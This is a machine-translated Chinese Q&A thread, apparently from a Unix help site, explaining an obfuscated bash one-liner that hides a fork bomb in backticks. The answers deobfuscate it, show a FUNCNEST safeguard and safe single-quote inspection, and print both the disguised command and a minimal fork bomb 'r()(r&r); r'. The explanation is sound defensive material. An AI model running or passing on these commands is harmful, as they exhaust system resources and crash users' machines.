答案1
首先,我们来看一下整个命令:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
它包含一个双引号字符串,该字符串被回显到uudecode
。但请注意,双引号字符串中有一个反引字符串。此字符串获得执行。该字符串为:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
如果我们查看其中的内容,我们会看到三个命令:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
表演括号扩展在中间的命令中,我们有:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
第一行尝试在后台运行一个无意义的命令。这并不重要。
第二行很重要:它定义了一个函数r
,运行时会启动自身的两个副本。当然,每个副本都会启动另外两个副本。依此类推。
第三行运行r
,启动fork炸弹。
除了反引号字符串之外的其余代码都只是为了混淆而编写的废话。
如何运行命令安全地
如果我们设置函数嵌套级别的限制,此代码可以安全运行。这可以使用 bash 的变量来实现FUNCNEST
。在这里,我们将其设置为2
,这将停止递归:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
上述错误消息表明:(a)未找到无意义的命令rYWdl
和Y29j
,(b) fork bomb 被 FUNCNEST 反复阻止,(c) 的输出echo
不是以 开头begin
,因此不是 的有效输入uudecode
。
最简单的叉子炸弹
如果我们移除遮蔽,fork 炸弹会是什么样子?正如 njzk2 和 gerrit 所建议的,它看起来应该是这样的:
echo "`r()(r&r);r`"
我们可以进一步简化:
r()(r&r); r
它由两个语句组成:一个定义 fork-bomb-function r
,另一个定义 runs r
。
所有其他代码(包括到 的管道uudecode
)都只是为了掩盖和误导。
原始形式还有另一层误导
OP 提供了一条链接到出现此代码的 chann 论坛讨论。如那里所示,代码如下所示:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
请注意关于此代码的第一条注释之一:
我上当了。只复制了回显和解码的部分,但仍然遭到了 forkbomb
在 chann board 上的形式中,人们会天真地认为问题出eval
在对 的输出进行操作的语句上uudecode
。这会导致人们认为删除eval
可以解决问题。正如我们上面所看到的,这是错误的,而且非常危险。
答案2
回答问题的第二部分:
...有没有办法“安全地”查看它?
要解除此字符串的依赖,请将外部双引号替换为单引号,并对字符串内部的单引号进行转义。这样,shell 将不会执行任何代码,您实际上将所有内容直接传递给uudecode
:
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
评论中提到了其他替代方案:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall 建议使用文本编辑器,粘贴内容,然后将该文件传递给 uudecode。
答案3
乍一看,你可能会认为输出到 shell 永远不会被执行。 这是尚真。问题已经出在输入. 这里的主要技巧是程序员所说的运算符优先级。这是 shell 尝试处理您的输入的顺序:
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
- 通过执行字符串内部的所有反引号命令来组成字符串。
- 通常是一个未知的命令,它会导致一些输出,如如果“rYWdl”不是拼写错误,您可以使用 command-not-found 来查找包含它的包...(取决于系统)
- 在后台执行 2.。您将永远不会看到输出。
- 定义fork炸弹函数。
- 命令分隔符。
- 运行叉子炸弹。
- 将6.的结果插入到字符串中。(我们从来没来过这里。)
错误在于认为这echo
将是第一个要执行的命令,uudecode
第二个才是。它们两个都永远不会被执行。
结论:双引号在 shell 上始终是危险的。